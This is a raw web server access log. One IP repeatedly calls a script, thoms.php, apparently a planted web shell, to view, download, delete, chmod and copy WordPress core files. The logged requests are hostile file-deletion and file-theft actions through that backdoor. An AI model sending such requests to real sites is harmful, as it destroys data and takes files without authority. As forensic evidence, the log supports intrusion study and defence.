45.135.193.11 - - [11/Sep/2026:23:23:51 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=option.php HTTP/1.1" 200 37252 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=option.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:51 -0400] "GET /thoms.php?dl=class-smtp.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59384 "http://163.245.207.76:443/thoms.php?dl=class-smtp.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:51 -0400] "GET /thoms.php?del=class-wp-widget.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?del=class-wp-widget.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:52 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=category-template.php HTTP/1.1" 200 28733 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=category-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:52 -0400] "GET /thoms.php?chmod=class-wp-block-patterns-registry.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11548 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-patterns-registry.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:52 -0400] "GET /thoms.php?del=template-loader.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?del=template-loader.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:52 -0400] "GET /thoms.php?dl=class-feed.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59362 "http://163.245.207.76:443/thoms.php?dl=class-feed.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:52 -0400] "GET /thoms.php?chmod=class-wp-block-templates-registry.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11546 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-templates-registry.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:52 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-customize-control.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11891 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-customize-control.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:52 -0400] "GET /thoms.php?chmod=class-wp-error.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11537 "http://163.245.207.76:443/thoms.php?chmod=class-wp-error.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:52 -0400] "GET /big-wife.com.tw/wp-includes/atomlib.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:52 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-user-meta-session-tokens.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11902 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-user-meta-session-tokens.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:52 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-textdomain-registry.php HTTP/1.1" 200 15384 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-textdomain-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:52 -0400] "GET /thoms.php?chmod=ID3&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11524 "http://163.245.207.76:443/thoms.php?chmod=ID3&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:52 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-block-type.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:52 -0400] "GET /big-wife.com.tw/wp-includes/comment-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:53 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class.wp-dependencies.php HTTP/1.1" 200 12103 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class.wp-dependencies.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:53 -0400] "GET /thoms.php?chmod=pluggable.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11526 "http://163.245.207.76:443/thoms.php?chmod=pluggable.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:53 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-http-ixr-client.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11890 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-http-ixr-client.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:53 -0400] "GET /thoms.php?del=formatting.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?del=formatting.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:53 -0400] "GET /thoms.php?dl=ms-files.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59382 "http://163.245.207.76:443/thoms.php?dl=ms-files.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:53 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-image-editor-gd.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11891 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-image-editor-gd.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:53 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-navigation-fallback.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11897 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-navigation-fallback.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:53 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-taxonomy.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:53 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-roles.php HTTP/1.1" 200 14886 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-roles.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:53 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=feed-rss.php HTTP/1.1" 200 12543 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=feed-rss.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:54 -0400] "GET /thoms.php?chmod=js&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=js&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:54 -0400] "GET /thoms.php?dl=functions.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59381 "http://163.245.207.76:443/thoms.php?dl=functions.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:54 -0400] "GET /thoms.php?del=class-pop3.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59385 "http://163.245.207.76:443/thoms.php?del=class-pop3.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:54 -0400] "GET /thoms.php?del=class-simplepie.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59384 "http://163.245.207.76:443/thoms.php?del=class-simplepie.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:54 -0400] "GET /thoms.php?del=class-wp-block-list.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59401 "http://163.245.207.76:443/thoms.php?del=class-wp-block-list.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:54 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-locale.php HTTP/1.1" 200 15893 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-locale.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:54 -0400] "GET /thoms.php?chmod=class-wp-recovery-mode-link-service.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11552 "http://163.245.207.76:443/thoms.php?chmod=class-wp-recovery-mode-link-service.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:54 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-speculation-rules.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11897 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-speculation-rules.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:55 -0400] "GET /thoms.php?chmod=class-wp-theme-json.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11537 "http://163.245.207.76:443/thoms.php?chmod=class-wp-theme-json.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:55 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fauthor-template.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11882 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fauthor-template.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:55 -0400] "GET /thoms.php?chmod=class-wp-token-map.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11538 "http://163.245.207.76:443/thoms.php?chmod=class-wp-token-map.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:55 -0400] "GET /thoms.php?dl=class-wp-duotone.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59323 "http://163.245.207.76:443/thoms.php?dl=class-wp-duotone.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:55 -0400] "GET /thoms.php?dl=class-wp-role.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59394 "http://163.245.207.76:443/thoms.php?dl=class-wp-role.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:55 -0400] "GET /thoms.php?del=kses.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59382 "http://163.245.207.76:443/thoms.php?del=kses.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:55 -0400] "GET /thoms.php?dl=template.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59386 "http://163.245.207.76:443/thoms.php?dl=template.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:55 -0400] "GET /thoms.php?chmod=class-wp-customize-nav-menus.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11543 "http://163.245.207.76:443/thoms.php?chmod=class-wp-customize-nav-menus.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:55 -0400] "GET /thoms.php?del=user.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59384 "http://163.245.207.76:443/thoms.php?del=user.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:56 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-http-response.php HTTP/1.1" 200 12931 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-http-response.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:56 -0400] "GET /thoms.php?dl=class-wp-feed-cache.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?dl=class-wp-feed-cache.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:56 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-block-metadata-registry.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11902 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-block-metadata-registry.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:56 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-block-templates-registry.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:56 -0400] "GET /thoms.php?del=feed-rss.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59381 "http://163.245.207.76:443/thoms.php?del=feed-rss.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:56 -0400] "GET /thoms.php?del=robots-template.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59382 "http://163.245.207.76:443/thoms.php?del=robots-template.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:56 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-http.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11887 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-http.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:56 -0400] "GET /thoms.php?chmod=error_log&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11519 "http://163.245.207.76:443/thoms.php?chmod=error_log&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:56 -0400] "GET /thoms.php?dl=connectors.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59384 "http://163.245.207.76:443/thoms.php?dl=connectors.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:57 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-customize-panel.php HTTP/1.1" 200 15495 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-customize-panel.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:57 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-block-styles-registry.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:57 -0400] "GET /thoms.php?del=widgets.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59385 "http://163.245.207.76:443/thoms.php?del=widgets.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:57 -0400] "GET /thoms.php?dl=class-wp-site.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?dl=class-wp-site.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:57 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-comment-query.php HTTP/1.1" 200 25419 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-comment-query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:57 -0400] "GET /thoms.php?dl=link-template.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59295 "http://163.245.207.76:443/thoms.php?dl=link-template.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:57 -0400] "GET /thoms.php?chmod=class-wp-http-response.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11539 "http://163.245.207.76:443/thoms.php?chmod=class-wp-http-response.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:57 -0400] "GET /thoms.php?dl=class-wp-dependency.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59237 "http://163.245.207.76:443/thoms.php?dl=class-wp-dependency.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:58 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=feed-rss2-comments.php HTTP/1.1" 200 13577 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=feed-rss2-comments.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:57 -0400] "GET /thoms.php?dl=class-wp-recovery-mode-cookie-service.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?dl=class-wp-recovery-mode-cookie-service.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:58 -0400] "GET /thoms.php?del=feed.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59382 "http://163.245.207.76:443/thoms.php?del=feed.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:58 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=canonical.php HTTP/1.1" 200 22999 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=canonical.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:58 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-error.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11885 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-error.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:58 -0400] "GET /thoms.php?dl=cache.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59382 "http://163.245.207.76:443/thoms.php?dl=cache.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:58 -0400] "GET /big-wife.com.tw/wp-includes/link-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:58 -0400] "GET /thoms.php?dl=class-wp-http-cookie.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59382 "http://163.245.207.76:443/thoms.php?dl=class-wp-http-cookie.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:58 -0400] "GET /thoms.php?del=class-wp-text-diff-renderer-table.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59382 "http://163.245.207.76:443/thoms.php?del=class-wp-text-diff-renderer-table.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
